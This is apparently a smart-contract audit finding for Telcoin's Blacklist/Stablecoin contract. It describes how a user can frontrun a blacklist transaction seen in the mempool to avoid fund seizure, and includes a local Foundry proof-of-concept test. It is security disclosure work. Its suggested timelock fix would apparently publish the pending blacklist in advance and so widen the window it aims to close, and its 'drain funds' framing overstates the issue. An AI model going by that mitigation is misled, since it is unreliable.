Magic Laurel Gorilla
Medium
Fund Seizure Mechanism Bypass in Blacklist Through MEV/Frontrunning Leading to Failed Asset Recovery
Lack of atomicity in blacklisting operation can be exploited to drain funds, as users can detect the blacklist transaction in mempool and move their funds before their balance is seized.
In Blacklist.sol
, the blacklist operation is non-atomic and easily identifiable in the mempool through the addBlackList
function call, giving users time to react before the _onceBlacklisted
seizes their funds.
https://github.com/sherlock-audit/2024-11-telcoin/blob/main/telcoin-audit/contracts/util/abstract/Blacklist.sol#L77-L85
- User needs to have a balance in the
Stablecoin
contract
No response
- ADMIN submits transaction to addBlackList(targetUser).
- targetUser(blacklisted address) sets a MEV bot sees pending blacklist transaction in mempool.
- targetUser frontruns with transfer of all their tokens to different address.
- When blacklist transaction executes, _onceBlacklisted tries to seize 0 balance.
INVARIANT BROKEN! The protocol fails to seize funds from malicious users, defeating the purpose of the blacklist system's fund seizure mechanism.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import "../src/stablecoin/Stablecoin.sol";
import "../src/util/abstract/Blacklist.sol";
contract BlacklistFrontrunTest is Test {
Stablecoin public stablecoin;
address public admin = address(0x1);
address public blacklister = address(0x2);
address public alice = address(0x3);
address public bob = address(0x4);
// Initial balance for Alice
uint256 constant INITIAL_BALANCE = 1000 ether;
function setUp() public {
// Deploy Stablecoin contract
stablecoin = new Stablecoin();
// Initialize with admin
stablecoin.initialize("Test Stablecoin", "TST");
// Setup roles
vm.startPrank(admin);
stablecoin.grantRole(stablecoin.DEFAULT_ADMIN_ROLE(), admin);
stablecoin.grantRole(stablecoin.BLACKLISTER_ROLE(), blacklister);
stablecoin.grantRole(stablecoin.MINTER_ROLE(), admin);
vm.stopPrank();
// Mint initial tokens to Alice
vm.prank(admin);
stablecoin.mint(alice, INITIAL_BALANCE);
}
function test_normalBlacklistSeizure() public {
// Normal case where blacklist succeeds in seizing funds
vm.prank(blacklister);
stablecoin.addBlackList(alice);
// Verify funds were seized
assertEq(stablecoin.balanceOf(alice), 0, "Alice balance should be 0");
assertEq(stablecoin.balanceOf(blacklister), INITIAL_BALANCE, "Blacklister should have seized funds");
}
function test_frontrunBlacklistAttack() public {
// Store Alice's initial balance for verification
uint256 aliceInitialBalance = stablecoin.balanceOf(alice);
// Simulate mempool monitoring
// We get the calldata that would be used to blacklist Alice
bytes memory blacklistCalldata = abi.encodeWithSelector(
stablecoin.addBlackList.selector,
alice
);
// FRONTRUN: Alice sees the blacklist transaction and quickly moves funds
vm.prank(alice);
stablecoin.transfer(bob, aliceInitialBalance);
// Original blacklist transaction executes
vm.prank(blacklister);
stablecoin.addBlackList(alice);
// Verify the attack results
assertEq(stablecoin.blacklisted(alice), true, "Alice should be blacklisted");
assertEq(stablecoin.balanceOf(alice), 0, "Alice balance should be 0");
assertEq(stablecoin.balanceOf(bob), INITIAL_BALANCE, "Bob should have all the funds");
assertEq(stablecoin.balanceOf(blacklister), 0, "Blacklister should have seized nothing");
// Verify Alice can't receive new funds after blacklist
vm.expectRevert(abi.encodeWithSelector(Blacklist.Blacklisted.selector, alice));
vm.prank(bob);
stablecoin.transfer(alice, 100);
}
function test_frontrunWithMultipleTransfers() public {
// Split the balance transfer to multiple addresses to make recovery harder
address[] memory receivers = new address[](3);
receivers[0] = address(0x5);
receivers[1] = address(0x6);
receivers[2] = address(0x7);
uint256 splitAmount = INITIAL_BALANCE / 3;
// FRONTRUN: Alice splits and transfers funds
vm.startPrank(alice);
for(uint i = 0; i < receivers.length; i++) {
stablecoin.transfer(receivers[i], splitAmount);
}
vm.stopPrank();
// Blacklist transaction executes
vm.prank(blacklister);
stablecoin.addBlackList(alice);
// Verify the attack results
assertEq(stablecoin.balanceOf(alice), 0, "Alice balance should be 0");
assertEq(stablecoin.balanceOf(blacklister), 0, "Blacklister should have seized nothing");
// Verify funds are distributed among receivers
for(uint i = 0; i < receivers.length; i++) {
assertEq(stablecoin.balanceOf(receivers[i]), splitAmount,
"Each receiver should have their split amount");
}
}
function test_blacklistWithNoBalance() public {
// Transfer all funds before blacklist
vm.prank(alice);
stablecoin.transfer(bob, INITIAL_BALANCE);
// Try to blacklist empty account
vm.prank(blacklister);
stablecoin.addBlackList(alice);
assertEq(stablecoin.balanceOf(alice), 0, "Alice balance should be 0");
assertEq(stablecoin.balanceOf(blacklister), 0, "Blacklister should have seized nothing");
assertEq(stablecoin.balanceOf(bob), INITIAL_BALANCE, "Bob should have all funds");
}
}
- Use a two-step process with time-lock:
function proposeBlacklist(address user) external onlyRole(BLACKLISTER_ROLE) {
proposedBlacklist[user] = block.timestamp + DELAY;
}
function executeBlacklist(address user) external onlyRole(BLACKLISTER_ROLE) {
require(block.timestamp >= proposedBlacklist[user], "Too early");
// Execute blacklist
}